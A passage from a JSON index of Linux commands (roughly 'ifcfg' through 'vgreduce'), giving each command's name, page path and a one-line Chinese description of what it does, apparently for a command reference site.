用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"iscsiadm":{"n":"iscsiadm","p":"/iscsiadm","d":"管理iSCSI连接"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modetest":{"n":"modetest","p":"/modetest","d":"DRM/KMS驱动程序libdrm中的模式测试工具"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mtr":{"n":"mtr","p":"/mtr","d":"`mtr`结合了`traceroute`和`ping`程序的功能，是一款简单的网络诊断工具。 "},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"nc是网络工具中的瑞士军刀"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"pacman":{"n":"pacman","p":"/pacman","d":"Arch Linux 系统及其衍生系统中默认使用的包管理器"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性(ipv4)"},"ping6":{"n":"ping6","p":"/ping6","d":"测试主机之间网络的连通性(ipv6)"},"pip":{"n":"pip","p":"/pip","d":"Python 编程语言中的包管理器，用于安装和管理第三方 Python 模块"},"pkexec":{"n":"pkexec","p":"/pkexec","d":"以其他用户身份执行命令"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"prtstat":{"n":"prtstat","p":"/prtstat","d":"显示进程信息"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwdx":{"n":"pwdx","p":"/pwdx","d":"用于显示指定进程的当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"reposync":{"n":"reposync","p":"/reposync","d":"同步yum存储库到本地目录"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"sha256sum":{"n":"sha256sum","p":"/sha256sum","d":"用于计算文件的 SHA-256 哈希值"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"sshpass":{"n":"sshpass","p":"/sshpass","d":"免交互 SSH 登录工具。"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将保存在 PCAP 文件包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理